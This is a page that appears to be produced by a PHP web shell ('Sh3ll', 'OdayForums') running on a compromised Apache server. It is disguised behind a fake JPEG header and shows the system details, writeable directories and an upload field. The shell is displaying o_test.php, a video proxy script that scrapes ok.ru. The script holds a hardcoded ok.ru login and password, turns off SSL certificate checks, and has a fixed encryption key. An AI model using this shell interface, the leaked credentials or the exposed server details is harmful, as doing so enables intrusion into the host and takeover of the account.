ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/st2/proxy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/st2/proxy/o_test.php
<?php
header( 'Access-Control-Allow-Origin: https://www.123vid.net', true );
header('X-Frame-Options: ALLOW-FROM https://www.123vid.net/');
function post($url,$data) {
    $header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
    $header[0] .= "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
    $header[] = "Cache-Control: max-age=0";
    $header[] = "Connection: keep-alive";
    $header[] = "Keep-Alive: 300";
    $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $header[] = "Accept-Language: en-us,en;q=0.5";
    $header[] = "Pragma: "; // browsers keep this blank.
    $user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36';
    $process = curl_init($url);
    curl_setopt($process, CURLOPT_HTTPHEADER, $header);
    //curl_setopt($process, CURLOPT_REFERER, 'http://www.anivn.com');
//curl_setopt($process, CURLOPT_HEADER, 1);
    curl_setopt($process, CURLOPT_USERAGENT, $user_agent);
    curl_setopt($process, CURLOPT_COOKIEFILE, 'cookie_okru.txt');
    curl_setopt($process, CURLOPT_COOKIEJAR, 'cookie_okru.txt');
    curl_setopt($process, CURLOPT_ENCODING , 'gzip');

    curl_setopt($process, CURLOPT_TIMEOUT, 10);
//if ($this->proxy) curl_setopt($process, CURLOPT_PROXY, $this->proxy);
    curl_setopt($process, CURLOPT_POSTFIELDS, $data);
    curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($process, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($process, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($process, CURLOPT_FOLLOWLOCATION, 0);
    curl_setopt($process, CURLOPT_POST, 1);
    $return = curl_exec($process);
    curl_close($process);
    return $return;
}
function get($url)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    $head[] = "Connection: keep-alive";
    $head[] = "Keep-Alive: 300";
    $head[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $head[] = "Accept-Language: en-us,en;q=0.5";
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36');
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
    curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 20);
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie_okru.txt');
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie_okru.txt');
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    $page = curl_exec($ch);
    curl_close($ch);
    return $page;
}
function str_encode($data,$pwd)
{
    $x = 0;
    $a = 0;
    $j = 0;
    $Zcrypt = '';
    $pwd_length = strlen($pwd);
    for ($i = 0; $i < 255; $i++) {
        $key[$i] = ord(substr($pwd, ($i % $pwd_length)+1, 1));
        $counter[$i] = $i;
    }
    for ($i = 0; $i < 255; $i++) {
        $x = ($x + $counter[$i] + $key[$i]) % 256;
        $temp_swap = $counter[$i];
        $counter[$i] = $counter[$x];
        $counter[$x] = $temp_swap;
    }
    for ($i = 0; $i < strlen($data); $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $counter[$a]) % 256;
        $temp = $counter[$a];
        $counter[$a] = $counter[$j];
        $counter[$j] = $temp;
        $k = $counter[(($counter[$a] + $counter[$j]) % 256)];
        $Zcipher = ord(substr($data, $i, 1)) ^ $k;
        $Zcrypt .= chr($Zcipher);
    }
    return $Zcrypt;
}
function curl_detail($url,$ref) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    $head[] = ":authority: ok.ru";
    $head[] = ":method: GET";
    $head[] = ":scheme: https";
    $head[] = "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8";
    $head[] = "accept-encoding: gzip, deflate, br";
    $head[] = "Referer: ".$ref;
    $head[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36";
    $head[] = "upgrade-insecure-requests: 1";
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36');
    curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
    curl_setopt($ch, CURLOPT_REFERER, $ref);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    curl_setopt($ch, CURLOPT_ENCODING , "br");
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie_okru.txt');
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie_okru.txt');
    $page = curl_exec($ch);
    curl_close($ch);
    return $page;
}
if(!isset($_GET['time'])){
    return;
}
$time = $_GET['time'];
$time_check = time()-5;
$time_check2 = time()+5;
if($time < $time_check){
    return;
}
if($time > $time_check2){
    return;
}

$ref = 'https://ok.ru';
$url_encode = $_GET['url'];
$url = str_encode(hex2bin($url_encode),'123Vid@Net');
$url = str_replace('videoembed/','video/',$url);

//login
$txt_user_name = '84929057429';
$txt_user_password = 'iSchool!23';
$url_login = 'https://www.ok.ru/https';
$data = 'st.redirect='.$url.'&st.asr=&st.posted=set&st.originalaction=https://ok.ru/dk?cmd=AnonymLogin&st.cmd=anonymLogin&st.fJS=0&st.st.screenSize=1366 x 768&st.st.browserSize=657&st.st.flashVer=0.0.0&st.email='.$txt_user_name.'&st.password='.$txt_user_password;
$content = post($url_login,$data);

//get content after login
$content = curl_detail($url,$ref);
$content = brotli_uncompress($content);

/*include 'Mobile_Detect.php';
$detect = new Mobile_Detect;*/

if(strpos($content,'hlsManifestUrl')===false){//not encoded yet
    if(strpos($content,'mobile\&quot;,\&quot;url\&quot;:\&quot;')!==false){//mp4 video
        $arr = explode('mobile\&quot;,\&quot;url\&quot;:\&quot;', $content);
        $arr2 = explode('\&quot;,\&quot;seekSchema', $arr[1]);
        $link = html_entity_decode($arr2[0]);
        $link = str_replace(array('\":\"', '\",\"', '\\u0026'), array('', '', '&'), $link);
        $link = str_replace(array('\&'), array('&'), $link);
        $link_encode = bin2hex(str_encode($link, '123Vid@Net'));
        $link = 'https://st2.123vid.net/mp4-3.php?link=' .$link_encode . '&token=' . md5(uniqid(microtime()));
        $type = 'video/mp4';
    }
}else {//encoded
    /*$arr_mobile = explode('u003CBaseURL',$content);
    if ($detect->isMobile() || $detect->isTablet()) {
        foreach ($arr_mobile as $key=>$val){
            if($key>1){
                if(strpos($val,'&quot;360')!==false){
                    $arr_mobile2 = explode('BaseURL',$val);
                    $link = str_replace(array('\u003E','\u0026amp;','\u003C/'),array('','&',''),stripslashes($arr_mobile2[0]));
                    $link_encode = bin2hex(str_encode($link, '123Vid@Net'));
                    $link = 'https://st2.123vid.net/mp4-3.php?link=' .$link_encode . '&token=' . md5(uniqid(microtime()));
                }
            }
        }
        $type = 'video/mp4';
    }else{*/
        $arr = explode('hlsManifestUrl', $content);
        $arr2 = explode('failoverHosts', $arr[1]);
        $link = html_entity_decode($arr2[0]);
        $link = str_replace(array('\":\"', '\",\"', '\\u0026'), array('', '', '&'), $link);
        $link = str_replace(array('\&'), array('&'), $link);
        $link_encode = bin2hex(str_encode($link, '123Vid@Net'));
        $link = 'playlist2.php?time='.time().'&url=' . base64_encode($link_encode);
        $type = 'application/x-mpegURL';
    //}

}
$url_track = '';
if (isset($_GET['track']) and $_GET['track'] != '') {
    $url_track_encode = $_GET['track'];
    $url_track = 'https://www.123vid.net/' . str_encode(hex2bin($url_track_encode), '123Vid@Net');
}
?>
<html style="width: 100%; height: 100%"><head>
    <title>-Server 2 embed-</title>
    <base href="https://st2.123vid.net/proxy/">
    <style type="text/css">
        body {
            background: #000000;
            margin: 0px;
            padding: 0px;
        }
    </style>
    <link href="js/video-js.css" rel="stylesheet" type="text/css" />
    <link href="js/vsg-skin.css" rel="stylesheet" type="text/css" />
    <script src="js/video.js"></script>
    <script src="js/videojs-contrib-hls.js"></script>
</head>

<body style="width: 100%; height: 100%" oncontextmenu="return false;">
<video autoplay controls id="ht_player" style="width: 100%; height: 100%" class="video-js vjs-default-skin"
       preload="auto" poster="https://www.123vid.net/skin/phim98/assets/img/123vid.jpg" data-setup="{ }">
    <source src="<?php echo $link; ?>" type='<?php echo $type; ?>'/>
    <?php if($url_track!=''){ ?>
        <track src="track.php?url=<?php echo $url_track;?>" kind="captions" srclang="en" label="English" default>
    <?php } ?>
    <p>Video Playback Not Supported</p>
</video>
</body></html>

ZeroDay Forums Mini